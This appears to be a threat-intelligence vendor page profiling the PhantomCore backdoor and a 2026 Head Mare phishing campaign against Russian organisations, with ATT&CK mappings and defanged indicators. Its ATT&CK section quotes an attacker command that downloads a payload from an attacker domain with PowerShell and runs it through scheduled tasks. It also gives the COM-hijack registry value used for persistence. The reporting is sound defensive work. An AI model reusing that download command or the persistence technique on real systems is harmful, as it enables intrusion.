Skip to main content
Mallory
Back to malware
MalwareUsed by 1 actor

PhantomCore

PhantomCore is a custom backdoor used by the threat actor Head Mare and also referenced in reporting on a suspected Ukrainian APT activity cluster. It is also referred to in the provided content as PhantomDL in some reporting. The malware’s primary purpose is to provide attackers with a remote command shell on an infected Windows system. In the February 2026 campaign described in the content, a new PhantomCore variant was delivered to Russian organizations through phishing emails impersonating a scientific research organization and offering a contract. The emails carried password-protected archives containing deceptive .pdf.lnk shortcut files; execution of a shortcut downloaded a PowerShell loader, opened a decoy document, and retrieved a malicious DLL named USOCachedData.txt (MD5: 6EA2912050632ACD186CE790634B6D44), which was in fact a new PhantomCore variant. Persistence was established via PSFactoryBuffer COM hijacking by setting HKCR\CLSID{c53e07ec-25f3-4093-aa39-fc67ea22e99d}\InProcServer32(Default) to $APPDATA\USOShared\USOCachedData.txt. The sample in that campaign was written in C++, used per-string byte-wise XOR obfuscation, and communicated with command-and-control servers using JSON-formatted HTTP POST requests: one request registered the bot with base64-encoded host data including bot ID, hostname, local IP address, and DNS server, and a second request polled for commands using the bot identifier. Observed PhantomCore-related infrastructure in the content includes the download URL hxxps://1cbit-dev[.]com/devices/firmware/beta/update.html, a follow-on payload URL hxxps://defendcore[.]online/download/1.zip, and command-and-control domains cosmetic-shop[.]online, moscow-media[.]online, cheap-market[.]online, and cheap-zone[.]online. In the same intrusion chain, attackers deployed a Golang utility, TemplateMaintenanceHost.exe, via a scheduled task named "Windows Templates Maintenance Task" to launch the built-in Windows ssh.exe client and create reverse tunnels, allowing SOCKS5 proxying and access into the victim’s local network. The campaign reportedly affected several hundred users in Russian government, logistics, financial, and industrial organizations. Separate reporting in the content also links PhantomCore to attacks exploiting NTLM-related phishing techniques against Russian organizations and to an Exchange espionage campaign in which 65 servers across 26 countries were compromised, with about one-third of victims appearing to be government systems; that activity also involved collection of NTLM hashes and deployment of PhantomCore.

Share:
For your environment

Hunt this family in your stack

Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.

THREAT ACTORS

Groups observed using it

1 distinct threat actor attributed by public researchers. Open in Mallory to see the full evidence chain and overlapping campaigns.

View more details
Head Mare

...обнаружили еще одну масштабную фишинговую рассылку, на этот раз с новой версией бэкдора PhantomCore (PhantomDL)... Файл USOCachedData.txt, хоть и имеет расширение .txt, на самом деле является исполняемой библиотекой — новым вариантом PhantomCore. Основная задача этого бэкдора — предоставление злоумышленникам удаленной командной строки в зараженной системе.

via securelist rusecurelist.ru
MITRE ATT&CK

Techniques & procedures

9 distinct techniques documented for this family, organized by ATT&CK tactic.

Initial Access

2 techniques
T1190Exploit Public-Facing ApplicationEvidence1

Head Mare, which first emerged in 2023 on the social platform X, is known for using its own custom malware, including PhantomDL and PhantomCore, and for exploiting newly disclosed vulnerabilities in phishing campaigns.

T1566.001Spearphishing AttachmentEvidence1

Обнаружили еще одну масштабную фишинговую рассылку... Получателям приходят письма от имени научно-исследовательской организации... Во вложениях находятся зашифрованные архивы... В архиве — несколько файлов‑ярлыков (.lnk), которые автоматически запускают процесс загрузки и установки бэкдора.

Execution

3 techniques
T1059.001PowerShellEvidence1
TacticExecution

Промежуточный скрипт написан на PowerShell. Он скачивает с удаленного сервера файл USOCachedData.txt... обеспечивает закрепление в системе и автозапуск.

T1059.003Windows Command ShellEvidence1
TacticExecution

cmd.exe /c powershell iwr https://defendcore.online/download/1.zip -outfile $appdata\1.zip ... cmd.exe /c schtasks /create ... cmd.exe /c schtasks /run ...

T1204.002Malicious FileEvidence1
TacticExecution

В архиве находится несколько ярлыков с двойным расширением .pdf.lnk... При запуске любого из ярлыков на машине выполнится команда для загрузки промежуточного скрипта, расположенного на сервере злоумышленников.

Persistence

1 technique
T1112Modify RegistryEvidence1

HKCR\CLSID\{c53e07ec-25f3-4093-aa39-fc67ea22e99d}\InProcServer32 (Default) = $APPDATA\USOShared\USOCachedData.txt

T1112Modify RegistryEvidence1

HKCR\CLSID\{c53e07ec-25f3-4093-aa39-fc67ea22e99d}\InProcServer32 (Default) = $APPDATA\USOShared\USOCachedData.txt

T1071.001Web ProtocolsEvidence1

После запуска бэкдор отправляет на C2-сервер два POST-запроса, содержащие данные в формате JSON, — для регистрации нового бота и получения команд.

T1105Ingress Tool TransferEvidence1

При запуске любого из ярлыков... выполнится команда для загрузки промежуточного скрипта... этот скрипт скачивает и открывает документ-приманку... скачивает с удаленного сервера файл USOCachedData.txt... Скачивание архива с вредоносным ПО для создания туннеля.

T1132Data EncodingEvidence1

В запросе на регистрацию PhantomCore передает закодированные в base64 данные о боте и зараженной системе.

INDICATORS OF COMPROMISE

IOCs tracked for this family

49 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.

View more in app
Network
8 tracked

IPs, domains, and DNS infrastructure linked to this family.

Hashes
28 tracked

File hashes (MD5, SHA-1, SHA-256) from samples and reports.

Other
13 tracked

Other indicator types observed in public reporting.

TypeValueLatest sighting
domain●●●●●●●●●●●●View more in app3 months ago
domain●●●●●●●●●●●●View more in app3 months ago
hash.md5●●●●●●●●●●●●View more in app3 months ago
hash.md5●●●●●●●●●●●●View more in app3 months ago
hash.md5●●●●●●●●●●●●View more in app3 months ago
hash.md5●●●●●●●●●●●●View more in app3 months ago
What this page doesn’t show

The version that knows your environment.

This page is what’s public. Mallory adds the parts that aren’t: which of your assets match these IOCs, which detections are missing, which campaigns to expect next, and what to do in the next 30 minutes.
IOC matching49

Match every observed IP, domain, and hash against your live telemetry.

Threat actor attribution1

Named campaigns wielding this family, with evidence pinned to each claim.

Exploited vulnerabilities

CVEs this family uses for access and lateral movement.

Detection signatures

YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.

MITRE ATT&CK mapping9

Every documented technique, ranked by evidence weight.

Researcher chatter

Reddit, Mastodon, and CTI community discussion around this family.